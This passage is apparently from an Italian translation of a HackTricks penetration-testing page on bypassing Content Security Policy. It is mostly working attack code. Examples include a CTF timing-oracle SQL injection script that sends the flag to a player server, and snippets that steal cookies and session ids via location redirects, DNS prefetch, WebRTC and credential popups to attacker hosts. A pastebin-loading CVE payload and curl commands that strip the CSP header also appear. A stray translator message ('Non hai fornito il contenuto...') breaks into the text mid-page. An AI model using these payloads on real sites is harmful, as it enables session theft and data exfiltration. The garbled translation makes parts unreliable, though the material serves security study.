Example: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
|
||
|
||
### img-src \*; via XSS (iframe) - attacco di timing
|
||
|
||
Notice the lack of the directive `'unsafe-inline'`\
|
||
Questa volta puoi far **caricare** alla vittima una pagina sotto **il tuo controllo** tramite **XSS** con un `<iframe`. Stavolta farai accedere la vittima alla pagina da cui vuoi estrarre informazioni (**CSRF**). Non puoi accedere al contenuto della pagina, ma se in qualche modo riesci a **controllare il tempo necessario al caricamento della pagina** puoi estrarre le informazioni di cui hai bisogno.
|
||
|
||
Questa volta verrà estratta una **flag**: ogni volta che un **carattere viene indovinato correttamente** via SQLi la **risposta** impiega **più tempo** a causa della funzione sleep. Così riuscirai a estrarre la flag:
|
||
```html
|
||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
|
||
<script>
|
||
let host = "http://x-oracle-v1.nn9ed.ka0labs.org"
|
||
function gen(x) {
|
||
x = escape(x.replace(/_/g, "\\_"))
|
||
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`
|
||
}
|
||
|
||
function gen2(x) {
|
||
x = escape(x)
|
||
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`
|
||
}
|
||
|
||
async function query(word, end = false) {
|
||
let h = performance.now()
|
||
f.location = end ? gen2(word) : gen(word)
|
||
await new Promise((r) => {
|
||
g.onload = r
|
||
})
|
||
let diff = performance.now() - h
|
||
return diff > 300
|
||
}
|
||
|
||
let alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789".split("")
|
||
let postfix = "}"
|
||
|
||
async function run() {
|
||
let prefix = "nn9ed{"
|
||
while (true) {
|
||
let i = 0
|
||
for (i; i < alphabet.length; i++) {
|
||
let c = alphabet[i]
|
||
let t = await query(prefix + c) // Check what chars returns TRUE or FALSE
|
||
console.log(prefix, c, t)
|
||
if (t) {
|
||
console.log("FOUND!")
|
||
prefix += c
|
||
break
|
||
}
|
||
}
|
||
if (i == alphabet.length) {
|
||
console.log("missing chars")
|
||
break
|
||
}
|
||
let t = await query(prefix + "}", true)
|
||
if (t) {
|
||
prefix += "}"
|
||
break
|
||
}
|
||
}
|
||
new Image().src = "http://PLAYER_SERVER/?" + prefix //Exfiltrate the flag
|
||
console.log(prefix)
|
||
}
|
||
|
||
run()
|
||
</script>
|
||
```
|
||
### Via Bookmarklets
|
||
|
||
Questo attacco implica una certa social engineering in cui l'attaccante **convince l'utente a drag\&dropped un link sopra il bookmarklet del browser**. Questo bookmarklet conterrebbe codice **malicious javascript** che quando drag\&dropped o clicked verrebbe eseguito nel contesto della finestra web corrente, **bypassando CSP e permettendo di rubare informazioni sensibili** come cookies o tokens.
|
||
|
||
For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
|
||
|
||
### CSP bypass by restricting CSP
|
||
|
||
In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), il CSP viene bypassato iniettando, all'interno di un iframe consentito, un CSP più restrittivo che impediva il caricamento di uno specifico file JS che, poi, tramite **prototype pollution** o **dom clobbering** permetteva di **abusare di un diverso script per caricare uno script arbitrario**.
|
||
|
||
Puoi **restringere il CSP di un Iframe** con l'attributo **`csp`**:
|
||
```html
|
||
<iframe
|
||
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
|
||
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
|
||
```
|
||
In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), è stato possibile tramite **HTML injection** rendere più restrittiva una **CSP** in modo che uno script che preveniva il CSTI venisse disabilitato e quindi la **vulnerability became exploitable.**\
|
||
La CSP può essere resa più restrittiva usando **HTML meta tags** e gli inline scripts possono essere disabilitati rimuovendo la **entry** che permette il loro **nonce** e abilitando specifici inline script tramite **sha**:
|
||
```html
|
||
<meta
|
||
http-equiv="Content-Security-Policy"
|
||
content="script-src 'self'
|
||
'unsafe-eval' 'strict-dynamic'
|
||
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
|
||
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
|
||
```
|
||
### JS exfiltration with Content-Security-Policy-Report-Only
|
||
|
||
Se riesci a far sì che il server risponda con l'header **`Content-Security-Policy-Report-Only`** con un **valore controllato da te** (magari a causa di un CRLF), puoi farlo puntare al tuo server e se avvolgi il **JS content** che vuoi exfiltrate con **`<script>`** e poiché è altamente probabile che `unsafe-inline` non sia permesso dalla CSP, questo farà **scattare un errore CSP** e parte dello script (contenente le informazioni sensibili) verrà inviata al server da `Content-Security-Policy-Report-Only`.
|
||
|
||
Per un esempio [**check this CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
|
||
|
||
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
|
||
```javascript
|
||
document.querySelector("DIV").innerHTML =
|
||
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
|
||
```
|
||
### Leaking Information with CSP and Iframe
|
||
|
||
- Viene creato un `iframe` che punta a un URL (chiamiamolo `https://example.redirect.com`) che è consentito da CSP.
|
||
- Questo URL poi reindirizza a un URL segreto (es., `https://usersecret.example2.com`) che è **non consentito** da CSP.
|
||
- Ascoltando l'evento `securitypolicyviolation`, è possibile catturare la proprietà `blockedURI`. Questa proprietà rivela il dominio dell'URI bloccato, leaking il dominio segreto a cui l'URL iniziale è stato reindirizzato.
|
||
|
||
È interessante notare che browser come Chrome e Firefox hanno comportamenti differenti nel gestire gli iframe rispetto a CSP, il che può portare a potenziale leakage di informazioni sensibili a causa di comportamenti non definiti.
|
||
|
||
Un'altra tecnica consiste nello sfruttare la stessa CSP per dedurre il sottodominio segreto. Questo metodo si basa su un algoritmo di ricerca binaria e sull'adattamento della direttiva CSP per includere domini specifici che vengono deliberatamente bloccati. Per esempio, se il sottodominio segreto è composto da caratteri sconosciuti, è possibile testare iterativamente diversi sottodomini modificando la direttiva CSP per bloccare o permettere questi sottodomini. Di seguito uno snippet che mostra come la CSP potrebbe essere configurata per facilitare questo metodo:
|
||
```markdown
|
||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||
```
|
||
Monitorando quali richieste vengono bloccate o permesse dalla CSP, si possono restringere i possibili caratteri nel sottodominio segreto, scoprendo infine l'URL completo.
|
||
|
||
Entrambi i metodi sfruttano le sfumature dell'implementazione della CSP e del comportamento dei browser, dimostrando come politiche apparentemente sicure possano, involontariamente, causare un leak di informazioni sensibili.
|
||
|
||
Trucco da [**here**](https://ctftime.org/writeup/29310).
|
||
|
||
## Tecnologie insicure per bypassare la CSP
|
||
|
||
### Errori PHP quando troppi parametri
|
||
|
||
Secondo la [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), inviando troppi parametri (1001 parametri GET anche se si può farlo anche con parametri POST e più di 20 file). Qualsiasi definito **`header()`** nel codice web PHP **non verrà inviato** a causa dell'errore che ciò genererà.
|
||
|
||
### Sovraccarico del buffer di risposta PHP
|
||
|
||
PHP è noto per **memorizzare in buffer la risposta fino a 4096 byte** per impostazione predefinita. Quindi, se PHP mostra un warning, fornendo **sufficienti dati all'interno dei warning**, la **risposta** sarà **inviata** **prima** dell'**CSP header**, causando che l'header venga ignorato.\
|
||
La tecnica consiste fondamentalmente nel **riempire il buffer di risposta con warning** in modo che l'header CSP non venga inviato.
|
||
|
||
### Disabilitare la CSP via max_input_vars (headers already sent)
|
||
|
||
Poiché gli header devono essere inviati prima di qualsiasi output, i warning emessi da PHP possono invalidare chiamate successive a `header()`. Se l'input utente supera `max_input_vars`, PHP lancia prima un warning di startup; qualsiasi successivo `header('Content-Security-Policy: ...')` fallirà con “headers already sent”, disabilitando di fatto la CSP e permettendo reflective XSS altrimenti bloccate.
|
||
```php
|
||
<?php
|
||
header("Content-Security-Policy: default-src 'none';");
|
||
echo $_GET['xss'];
|
||
```
|
||
Non hai fornito il contenuto da tradurre. Incolla qui il testo di src/pentesting-web/content-security-policy-csp-bypass/README.md e lo tradurrò in italiano mantenendo la stessa sintassi Markdown/HTML e le regole che hai specificato.
|
||
```bash
|
||
# CSP in place → payload blocked by browser
|
||
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
|
||
|
||
# Exceed max_input_vars to force warnings before header() → CSP stripped
|
||
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
|
||
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
|
||
# Warning: Cannot modify header information - headers already sent
|
||
```
|
||
### Riscrittura della pagina di errore
|
||
|
||
Da [**this writeup**](https://blog.ssrf.kr/69) sembra che sia stato possibile bypassare una protezione CSP caricando una pagina di errore (potenzialmente senza CSP) e riscrivendone il contenuto.
|
||
```javascript
|
||
a = window.open("/" + "x".repeat(4100))
|
||
setTimeout(function () {
|
||
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`
|
||
}, 1000)
|
||
```
|
||
### SOME + 'self' + wordpress
|
||
|
||
SOME è una tecnica che sfrutta una XSS (o una XSS molto limitata) **in an endpoint of a page** per **abuse** **other endpoints of the same origin.** Questo si ottiene caricando l'endpoint vulnerabile da una pagina controllata dall'attaccante e poi ricaricando la pagina dell'attaccante verso l'endpoint reale nella stessa origine che si vuole sfruttare. In questo modo l'**vulnerable endpoint** può usare l'oggetto **`opener`** nel **payload** per **access the DOM** dell'**real endpoint to abuse**. Per maggiori informazioni consulta:
|
||
|
||
{{#ref}}
|
||
../xss-cross-site-scripting/some-same-origin-method-execution.md
|
||
{{#endref}}
|
||
|
||
Moreover, **wordpress** has a **JSONP** endpoint in `/wp-json/wp/v2/users/1?_jsonp=data` that will **reflect** the **data** sent in the output (con la limitazione di solo lettere, numeri e punti).
|
||
|
||
An attacker can abuse that endpoint to **generate a SOME attack** against WordPress and **embed** it inside `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` note that this **script** will be **loaded** because it's **allowed by 'self'**. Moreover, and because WordPress is installed, an attacker might abuse the **SOME attack** through the **vulnerable** **callback** endpoint that **bypasses the CSP** to give more privileges to a user, install a new plugin...\
|
||
For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||
|
||
## Bypass di esfiltrazione CSP
|
||
|
||
Se c'è una CSP rigorosa che non ti permette di **interact with external servers**, ci sono alcune cose che puoi sempre fare per esfiltrare le informazioni.
|
||
|
||
### Location
|
||
|
||
Potresti semplicemente aggiornare la location per inviare al server dell'attaccante le informazioni segrete:
|
||
```javascript
|
||
var sessionid = document.cookie.split("=")[1] + "."
|
||
document.location = "https://attacker.com/?" + sessionid
|
||
```
|
||
### Meta tag
|
||
|
||
Puoi effettuare un redirect iniettando un meta tag (questo è solo un redirect, questo non farà leak del contenuto)
|
||
```html
|
||
<meta http-equiv="refresh" content="1; http://attacker.com" />
|
||
```
|
||
### DNS Prefetch
|
||
|
||
Per caricare le pagine più velocemente, i browser risolveranno preventivamente gli hostname in indirizzi IP e li memorizzeranno nella cache per uso successivo.\
|
||
Puoi indicare a un browser di risolvere preventivamente un hostname con: `<link rel="dns-prefetch" href="something.com">`
|
||
|
||
Potresti abusare di questo comportamento per **exfiltrate sensitive information via DNS requests**:
|
||
```javascript
|
||
var sessionid = document.cookie.split("=")[1] + "."
|
||
var body = document.getElementsByTagName("body")[0]
|
||
body.innerHTML =
|
||
body.innerHTML +
|
||
'<link rel="dns-prefetch" href="//' +
|
||
sessionid +
|
||
'attacker.ch">'
|
||
```
|
||
Un altro modo:
|
||
```javascript
|
||
const linkEl = document.createElement("link")
|
||
linkEl.rel = "prefetch"
|
||
linkEl.href = urlWithYourPreciousData
|
||
document.head.appendChild(linkEl)
|
||
```
|
||
Per evitare che ciò accada, il server può inviare l'HTTP header:
|
||
```
|
||
X-DNS-Prefetch-Control: off
|
||
```
|
||
> [!TIP]
|
||
> Apparentemente, questa tecnica non funziona nei headless browsers (bots)
|
||
|
||
### WebRTC
|
||
|
||
Su diverse pagine puoi leggere che **WebRTC non verifica la `connect-src` policy** della CSP.
|
||
|
||
In realtà puoi _leak_ informazioni usando una _DNS request_. Guarda questo codice:
|
||
```javascript
|
||
;(async () => {
|
||
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
|
||
p.createDataChannel("")
|
||
p.setLocalDescription(await p.createOffer())
|
||
})()
|
||
```
|
||
Un'altra opzione:
|
||
```javascript
|
||
var pc = new RTCPeerConnection({
|
||
"iceServers":[
|
||
{"urls":[
|
||
"turn:74.125.140.127:19305?transport=udp"
|
||
],"username":"_all_your_data_belongs_to_us",
|
||
"credential":"."
|
||
}]
|
||
});
|
||
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
||
```
|
||
### CredentialsContainer
|
||
|
||
Il popup delle credenziali invia una richiesta DNS a iconURL senza essere soggetto alle restrizioni della pagina. Funziona solo in un contesto sicuro (HTTPS) o su localhost.
|
||
```javascript
|
||
navigator.credentials.store(
|
||
new FederatedCredential({
|
||
id:"satoki",
|
||
name:"satoki",
|
||
provider:"https:"+your_data+"example.com",
|
||
iconURL:"https:"+your_data+"example.com"
|
||
})
|
||
)
|
||
```
|
||
## Verifica delle policy CSP online
|
||
|
||
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
|
||
- [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
|
||
|
||
## Creazione automatica di CSP
|
||
|
||
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
|
||
|
||
## Riferimenti
|
||
|
||
- [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
|
||
- [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)
|
||
- [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d)
|
||
- [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme)
|
||
- [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg)
|
||
- [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
|
||
- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
|
||
- [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket)
|
||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||
|
||
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|